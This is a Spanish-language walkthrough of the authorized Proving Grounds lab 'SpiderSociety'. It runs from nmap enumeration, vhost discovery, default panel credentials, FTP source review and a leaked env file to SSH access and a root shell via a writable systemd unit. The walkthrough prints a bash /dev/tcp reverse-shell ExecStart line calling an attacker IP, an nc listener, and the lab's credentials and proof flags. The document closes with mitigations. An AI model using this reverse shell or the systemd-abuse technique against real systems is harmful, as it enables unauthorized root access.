SpiderSociety — Proving Grounds
Un walkthrough de Proving Grounds sobre una máquina Linux que cubre el descubrimiento de un virtual host, credenciales predeterminadas en un panel de control, acceso FTP al código fuente de la aplicación, un archivo de entorno oculto que expone credenciales reutilizables, acceso SSH como spidey y escalada de privilegios mediante un servicio systemd modificable con permisos limitados de systemctl sin contraseña.
- Plataforma
- Proving Grounds
- Dificultad
- Media
- Fecha
- proving-grounds
- linux
- apache
- vsftpd
- virtual-host
- default-credentials
- ftp
- source-code-review
- credential-reuse
- ssh
- systemd
- privilege-escalation
Descripción general
SpiderSociety es una máquina Linux de Proving Grounds.
La cadena exitosa combinó el descubrimiento de un virtual host a partir del contenido del sitio, un panel de control protegido por credenciales predeterminadas, credenciales FTP de respaldo reveladas tras la autenticación, acceso FTP al código fuente de la aplicación, un archivo de entorno oculto que exponía credenciales para spidey, reutilización de credenciales sobre SSH, un servicio systemd modificable, systemctl daemon-reload y reinicio del servicio sin contraseña, y una reverse shell como root.
Este walkthrough independiente documenta un laboratorio autorizado y no está afiliado ni respaldado por OffSec.
Resumen de la ruta de ataque
Nmap identificó los servicios SSH, HTTP y FTP. El contenido del sitio descubrió el virtual host
spidersociety.offsec.lab, donde/libspider/exponía un panel de control protegido por credenciales predeterminadas. El acceso autenticado reveló una cuenta FTP de respaldo. El servicio FTP daba acceso al código fuente de la aplicación, que a su vez contenía un archivo de entorno oculto con credenciales paraspidey. La misma contraseña fue aceptada por SSH. La enumeración local identificó entonces una unidad de systemd modificable, combinada con permisos de recarga y reinicio desystemctlsin contraseña, produciendo una reverse shell como root.
Enumeración
Comencé con un escaneo TCP SYN predeterminado del top 1000 de 192.168.135.214. No fue un escaneo de todos los puertos, pero identificó los puertos abiertos 22, 80 y 2121:
sudo nmap -sS -T4 192.168.135.214
Con los puertos abiertos identificados, ejecuté un escaneo dirigido de servicios y scripts sobre ellos:
sudo nmap -sS -sC -sV -O -T4 -p 22,80,2121 192.168.135.214 -oN nmap-tcp.txt
La salida relevante del escaneo fue:
22: OpenSSH 9.6p1 Ubuntu 3ubuntu13.980: Apache 2.4.58 on Ubuntu2121: vsftpd 3.0.5
La detección de sistema operativo no fue fiable y no se estableció una huella exacta del SO.
También ejecuté un escaneo UDP del top 20:
sudo nmap -sU --top-ports 20 192.168.135.214 -oN nmap-udp-top.txt --open
Todos los resultados UDP devueltos fueron open|filtered, por lo que no se confirmó ningún servicio UDP abierto.
Descubrimiento del virtual host
El sitio en el puerto 80 presentaba la página de aterrizaje de Spider Society. WhatWeb identificó Apache 2.4.58 en Ubuntu. El fuzzing de archivos y directorios contra la IP directa no reveló ninguna ruta útil de la aplicación, pero el contenido de la página expuso dos direcciones de contacto:
contact@spidersociety.offsec.labcontact@spidersociety.org
La dirección de contacto exponía el hostname de estilo interno spidersociety.offsec.lab. Ambos dominios, offsec.lab y spidersociety.offsec.lab, se agregaron para resolución local y se enumeraron por separado. La búsqueda posterior descubrió /libspider/, accesible desde ambos hosts: http://offsec.lab/libspider/ y http://spidersociety.offsec.lab/libspider/.
offsec.lab reveló la ruta del panel de control en /libspider/.Acceso al panel de control de Spider Society
/libspider/ exponía el acceso al Spider Society Control Panel.
Las pruebas de SQL injection contra el formulario no tuvieron éxito, pero el panel aceptó las credenciales predeterminadas admin:admin.
El acceso autenticado exponía funcionalidad de administración, y el panel reveló credenciales para una cuenta FTP de respaldo.
Recuperación de la cuenta FTP de respaldo
La autenticación anónima en FTP falló. El panel autenticado reveló las siguientes credenciales FTP de respaldo:
Username: ss_ftpbckuser
Password: ss_WeLoveSpiderSociety_From_Tech_Dept5937!
Estas credenciales se autenticaron con éxito en el servicio FTP del puerto 2121. El directorio FTP parecía reflejar el contenido del sitio y de su aplicación /libspider/. La evidencia solo confirmó acceso de lectura; no se probó capacidad de escritura.
Revisión del código fuente de la aplicación
FTP exponía archivos asociados al sitio y a /libspider/, incluyendo control-panel.php, fetch-credentials.php, index.php, login.php, logout.php y users.php. El hallazgo clave estaba en fetch-credentials.php, que construía una ruta usando __DIR__ más un nombre de archivo oculto:
/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv
La revisión del código reveló esta ubicación. Otros archivos fueron revisados pero no contribuyeron a la ruta exitosa.
Extracción de las credenciales ocultas
Solicitar la ruta oculta expuso directamente los datos de entorno en formato clave/valor:
FTP_BACKUP_USER=ss_ftpbckuser
FTP_BACKUP_PASS=ss_WeLoveSpiderSociety_From_Tech_Dept5937!
DB_CONNECT_USER=spidey
DB_CONNECT_PASS=WithGreatPowerComesGreatSecurity99!
El archivo oculto contenía las credenciales FTP y, además, un segundo par asociado a DB_CONNECT_USER=spidey. Probé la contraseña de spidey contra SSH y fue aceptada.
spidey.Obtención de acceso inicial mediante SSH
La contraseña WithGreatPowerComesGreatSecurity99!, almacenada junto a DB_CONNECT_USER=spidey, proporcionó acceso por SSH como spidey. El prompt de la shell confirmó el usuario spidey en el host spidersociety.
Enumeración local
LinPEAS fue ejecutado y se revisó sudo -l. /etc/systemd/system/spiderbackup.service era modificable por spidey. La configuración de sudoers permitía lo siguiente:
(ALL) NOPASSWD: /bin/systemctl restart spiderbackup.service
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) !/bin/bash, !/bin/sh, !/bin/su, !/usr/bin/sudo
Las restricciones explícitas de shell no impidieron la escalada. La condición crítica fue la combinación de tres factores: una unidad de systemd modificable, el daemon-reload sin contraseña y el reinicio de ese servicio sin contraseña.
systemctl sin contraseña.Abuso del servicio systemd modificable
La técnica seguía el patrón de edición de unidades de systemd documentado por GTFOBins. El servicio fue sobrescrito con un ExecStart de reverse shell:
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.155/4444 0>&1'
[Install]
WantedBy=multi-user.target
Con un listener ejecutándose en el host del atacante:
rlwrap nc -nvlp 4444
Recargué systemd y reinicié el servicio objetivo:
sudo /bin/systemctl daemon-reload
sudo /bin/systemctl restart spiderbackup.service
El daemon-reload hizo que systemd leyera la unidad modificada, y el reinicio ejecutó el ExecStart malicioso. El objetivo conectó de vuelta a 192.168.45.155:4444, y el prompt resultante confirmó una shell de root.
La salida final de prueba fue:
cat /home/spidey/local.txt
9a5f2fbf74cc523c65d9d8a2ac230dbf
cat /root/proof.txt
f7e5ec45bf142e220393b73586840b56
Causa raíz
Acceso inicial
- Un virtual host con nombre interno podía descubrirse desde el contenido público del sitio y exponía un panel de administración.
- El panel aceptaba credenciales predeterminadas y, después de la autenticación, revelaba una cuenta FTP de respaldo.
- El acceso FTP exponía el código fuente de la aplicación, y
fetch-credentials.phprevelaba la ruta de un archivo de entorno oculto accesible desde la web. - El archivo oculto exponía credenciales reutilizables para
spidey, y la misma contraseña era aceptada por SSH.
Escalada de privilegios
spideypodía modificar la unidadspiderbackup.service, ejecutada como root.- Los permisos sudo sin contraseña permitían ejecutar
systemctl daemon-reloady reiniciar ese servicio específico. - El
ExecStartmalicioso se ejecutaba como root y devolvía una reverse shell.
Mitigaciones
- Eliminar las credenciales predeterminadas del panel de control, exigir contraseñas únicas y robustas con MFA, y restringir el panel a redes de administración confiables.
- Evitar almacenar o exponer credenciales en interfaces de la aplicación, archivos versionados o código PHP; recuperar secretos en tiempo de ejecución desde un vault o una configuración restringida fuera del web root.
- Mantener los archivos de entorno fuera del document root, restringir el acceso FTP y al código fuente según el principio de mínimo privilegio, y auditar el web root en busca de archivos ocultos expuestos.
- Impedir que usuarios sin privilegios modifiquen unidades de systemd y limitar estrictamente los permisos sudo sobre
systemctla operaciones seguras que no puedan ejecutar contenido controlado por un atacante.
Aprendizajes
- El contenido del sitio, como las direcciones de correo, puede revelar nombres de virtual hosts que vale la pena enumerar.
- La autenticación exitosa en un servicio puede exponer directamente credenciales para otro.
- El acceso al código fuente puede revelar rutas de configuración ocultas aunque no contenga contraseñas de forma directa.
- Una contraseña almacenada para un servicio puede reutilizarse en otro y ser aceptada por SSH.
- Una unidad de systemd modificable, combinada con permisos limitados de
systemctlsin contraseña, puede seguir proporcionando una ruta directa a root.